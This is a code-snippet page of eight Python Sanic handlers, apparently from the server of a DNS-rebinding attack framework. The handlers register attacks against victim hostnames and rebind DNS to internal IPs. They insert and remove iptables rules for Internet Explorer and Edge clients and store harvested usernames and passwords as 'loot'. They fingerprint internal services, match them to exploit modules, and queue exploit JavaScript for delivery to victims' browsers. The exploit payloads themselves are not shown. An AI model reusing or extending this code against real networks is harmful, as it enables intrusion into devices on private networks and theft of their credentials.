Ejemplo n.º 1
0
    async def attack(self, hostname, ip, localip, port, args):
        response = await ipc.async_http_raw(
            "POST", SOCK_WEBSERVER,
            "/new/attack/{}/{}/{}/{}".format(ip, localip, port, hostname))
        if ipc.response_valid(response, dict) is False:
            logger.error(
                "Unable to get attack value, resp {}".format(response))
            return None

        resp = response["text"]

        browser = args.get("browser", "Unknown")
        if browser == "IE" or browser == "Edge":
            response = await ipc.async_http_raw(
                "POST", SOCK_DNS,
                "/add/dynamic/ms/{}/{}".format(resp["domain"], localip))

        clientid = misc.hostname2id(hostname)
        childid = misc.hostname2id(resp["domain"])
        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE,
            "/new/attack/value/{}/{}/{}/{}".format(clientid, childid, localip,
                                                   port))

        # Store which browser is used
        tmp = await self.store_browser(browser, clientid)

        return {"redirect": resp["redirect"]}
Ejemplo n.º 2
0
 async def store_json(self, request, host, modid):
     clientid = misc.hostname2id(host)
     data = request.json
     data = {modid: data}
     response = await ipc.async_http_raw(
         "POST", SOCK_DATABASE, "/merge/json/{}/dump".format(clientid),
         json.dumps(data))
     if ipc.response_valid(response, dict):
         return sanic.response.json(response["text"])
     return sanic.response.text("Error", status=500)
Ejemplo n.º 3
0
    async def new_commands(self, request, hostname):
        clientid = misc.hostname2id(hostname)
        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE,
            "/pop/value/{}/exploit_queue".format(clientid))
        # TODO: Gå gjennom all error-checkers, response.get("text", dict) makes no sense
        if ipc.response_valid(response, str):
            return sanic.response.text(response["text"])

        logger.error(
            "Unable to get new commands for client {}".format(clientid))
        return sanic.response.text("", status=200)
Ejemplo n.º 4
0
    def host2clientid(self, request):
        try:
            host = request.headers["Host"]
        except:
            raise ServerError("Host-header was not present")

        # This check is not foolproof, but it only need to be good enough to catch errors in test
        # environment
        assert len(host.split(".")) > 2
        clientid = misc.hostname2id(host)
        assert clientid != "www"
        return clientid
Ejemplo n.º 5
0
    async def dns_change(self, request, ip_addr):
        host = self.host2hostname(request)
        clientid = misc.hostname2id(host)

        # Notify that this host has connected
        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE,
            "/store/value/{}/connected/true".format(clientid))

        if network.internal_ip(ip_addr) is False:
            return sanic.response.text(b"Public IP is not allowed", status=403)

        # Get browser and act accordingly
        browser = request.raw_args.get("browser", "Unknown")
        await self.store_browser(browser, clientid)

        # For MS-browsers we must block the client from accessing the port
        if browser == "IE" or browser == "Edge":
            assert network.validIPv4(request.ip)
            delete = IPTABLES_INSERT.format("-D INPUT", request.ip,
                                            self.config["interface"],
                                            self.port)
            insert = IPTABLES_INSERT.format("-I INPUT 1", request.ip,
                                            self.config["interface"],
                                            self.port)
            logger.info("Running command: {}".format(insert))
            os.system(insert)  # Create rule

            # Get timeout count
            try:
                timeout = int(request.raw_args.get("timer", "30"))
            except:
                timeout = 30

            # Create timer to delete rule
            # TODO: 30 seconds is not optimal, client could also report when done
            logger.info("Creating timer to run command: {}".format(delete))
            call = threading.Timer(timeout, os.system, (delete, ))
            call.start()
            return sanic.response.json(RETURN_OK)

        else:
            response = await ipc.async_http_raw(
                "POST", SOCK_DNS, "/add/dynamic/{}/{}".format(host, ip_addr))
            if ipc.response_valid(response, dict):
                return sanic.response.json(RETURN_OK)

        return sanic.response.text("Unspecified error", status=500)
Ejemplo n.º 6
0
    async def store_loot(self, request, host):
        clientid = misc.hostname2id(host)
        data = request.json

        if "USERNAME" in data and "USERPASS" in data:
            jscode = """Network.request_sd("GET", "/", null, function(xhr) {{
            TalkHome.service_detection(xhr, "{}", "{}")}}, "{}", "{}");""".format(
                request.host, host, data["USERNAME"], data["USERPASS"])

            res = await self.store_exploit(clientid, jscode.encode())
            if ipc.response_valid(res, dict) is False:
                logger.error(
                    "Unable to store new service detection: {}".format(res))

        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE, "/merge/json/{}/loot".format(clientid),
            json.dumps(data))
        if ipc.response_valid(response, dict):
            return sanic.response.json(response["text"])
        return sanic.response.text("Error", status=500)
Ejemplo n.º 7
0
    async def service_detection(self, request, rhost):
        home = request.headers["Host"]
        clientid = misc.hostname2id(rhost)

        # Store raw response
        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE,
            "/store/body/{}/httpresponse".format(clientid), request.body)
        if ipc.response_valid(response, dict) is False:
            logger.error(
                "Unable to store httpresponse for client {}, res {}".format(
                    clientid, response))
            return sanic.response.text("", status=404)

        response = await ipc.async_http_raw("POST", SOCK_SD, "/match",
                                            request.body)
        if ipc.response_valid(response, list):
            matches = response["text"]
            # Store matched signatures
            tmp = await ipc.async_http_raw(
                "POST", SOCK_DATABASE,
                "/store/json/{}/product".format(clientid), json.dumps(matches))
            if ipc.response_valid(tmp, dict) is False:
                logger.error(
                    "Unable to store product {} for client {}, res: {}".format(
                        json.dumps(matches), clientid, tmp))
                # We still continue
            for match in matches:
                response = await ipc.async_http_raw(
                    "GET", SOCK_MODULES,
                    "/search/exploits/product?" + urlencode(match))
                if ipc.response_valid(response, list):
                    exploits = list(set(response["text"]))
                    tmp = await ipc.async_http_raw(
                        "POST", SOCK_DATABASE,
                        "/append/list/{}/matched_modules".format(clientid),
                        json.dumps(exploits))
                    if ipc.response_valid(tmp, dict) is False:
                        logger.error(
                            "Unable to store matched_modules for {}, res {}".
                            format(clientid, tmp))

                    tmp = await ipc.async_http_raw(
                        "GET", SOCK_DATABASE,
                        "/get/json/{}/loot".format(clientid))
                    if ipc.response_valid(tmp, dict):
                        args = tmp["text"]
                    else:
                        args = {}
                    args["HOME"] = home
                    for exploit in exploits:
                        tmp = await ipc.async_http_raw(
                            "GET", SOCK_MODULES,
                            "/module/matches/{}".format(exploit))
                        # Only if classification matches should we get code for it
                        if ipc.response_valid(tmp, dict):
                            if tmp["text"].get("match") is True:
                                response = await ipc.async_http_raw(
                                    "GET", SOCK_MODULES,
                                    "/exploit/code/{}?{}".format(
                                        exploit, urlencode(args)))
                                if ipc.response_valid(response, str):
                                    await self.store_exploit(
                                        clientid, response["text"].encode())
                                else:
                                    return sanic.response.text(
                                        "String is not returned", status=500)
            return sanic.response.json(RETURN_OK)
        return sanic.response.json(RETURN_ERROR)
Ejemplo n.º 8
0
 async def module_finished(self, _request, host, modid, result):
     clientid = misc.hostname2id(host)
     response = await ipc.async_http_raw(
         "POST", SOCK_DATABASE,
         "/append/value/{}/{}/{}".format(clientid, result, modid))
     return sanic.response.json(RETURN_OK)